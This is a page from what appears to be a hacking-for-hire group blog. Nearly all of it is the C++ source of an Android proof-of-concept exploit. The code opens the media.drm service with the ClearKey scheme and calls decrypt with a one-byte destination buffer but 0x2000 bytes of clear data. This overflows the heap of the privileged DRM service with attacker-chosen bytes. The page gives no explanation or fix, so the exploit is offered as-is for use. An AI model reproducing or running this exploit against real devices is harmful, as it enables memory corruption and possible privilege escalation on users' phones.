Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86397350

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#include <utils/StrongPointer.h>
#include <binder/IServiceManager.h>
#include <binder/MemoryHeapBase.h>
#include <binder/MemoryBase.h>
#include <binder/IMemory.h>
#include <media/ICrypto.h>
#include <media/IMediaDrmService.h>
#include <media/hardware/CryptoAPI.h>

#include <stdio.h>
#include <unistd.h>

using namespace android;

static sp<ICrypto> getCrypto()
{
    sp<IServiceManager> sm = defaultServiceManager();
    sp<IBinder> binder = sm->getService(String16("media.drm"));
    sp<IMediaDrmService> service = interface_cast<IMediaDrmService>(binder);
    if (service == NULL) {
        fprintf(stderr, "Failed to retrieve 'media.drm' service.\n");
        return NULL;
    }
    sp<ICrypto> crypto = service->makeCrypto();
    if (crypto == NULL) {
        fprintf(stderr, "makeCrypto failed.\n");
        return NULL;
    }
    return crypto;
}

static bool setClearKey(sp<ICrypto> crypto)
{
    // A UUID which identifies the ClearKey DRM scheme.
    const uint8_t clearkey_uuid[16] = {
        0x10, 0x77, 0xEF, 0xEC, 0xC0, 0xB2, 0x4D, 0x02,
        0xAC, 0xE3, 0x3C, 0x1E, 0x52, 0xE2, 0xFB, 0x4B
    };
    if (crypto->createPlugin(clearkey_uuid, NULL, 0) != OK) {
        fprintf(stderr, "createPlugin failed.\n");
        return false;
    }
    return true;
}

#define DATA_SIZE (0x2000)
#define DEST_OFFSET (1)

static void executeOverflow()
{
    // Get an interface to a remote CryptoHal object.
    sp<ICrypto> crypto = getCrypto();
    if (crypto == NULL) {
        return;
    }

    if (!setClearKey(crypto)) {
        return;
    }

    // From here we're done with the preparations and go into the
    // vulnerability PoC.

    sp<MemoryHeapBase> heap = new MemoryHeapBase(DATA_SIZE);
    // This line is to merely show that we have full control over the data
    // written in the overflow.
    memset(heap->getBase(), 'A', DATA_SIZE);
    sp<MemoryBase> sourceMemory = new MemoryBase(heap, 0, DATA_SIZE);
    sp<MemoryBase> destMemory = new MemoryBase(heap, DATA_SIZE - DEST_OFFSET,
        DEST_OFFSET);
    int heapSeqNum = crypto->setHeap(heap);
    if (heapSeqNum < 0) {
        fprintf(stderr, "setHeap failed.\n");
        return;
    }

    CryptoPlugin::Pattern pattern = { .mEncryptBlocks = 0, .mSkipBlocks = 1 };
    ICrypto::SourceBuffer source = { .mSharedMemory = sourceMemory,
        .mHeapSeqNum = heapSeqNum };
    // mNumBytesOfClearData is the actual size of data to be copied.
    CryptoPlugin::SubSample subSamples[] = { {
        .mNumBytesOfClearData = DATA_SIZE, .mNumBytesOfEncryptedData = 0 } };
    ICrypto::DestinationBuffer destination = {
        .mType = ICrypto::kDestinationTypeSharedMemory, .mHandle = NULL,
        .mSharedMemory = destMemory };

    printf("decrypt result = %zd\n", crypto->decrypt(NULL, NULL,
        CryptoPlugin::kMode_Unencrypted, pattern, source, 0, subSamples,
        ARRAY_SIZE(subSamples), destination, NULL));
}

int main() {
    executeOverflow();
    return 0;
}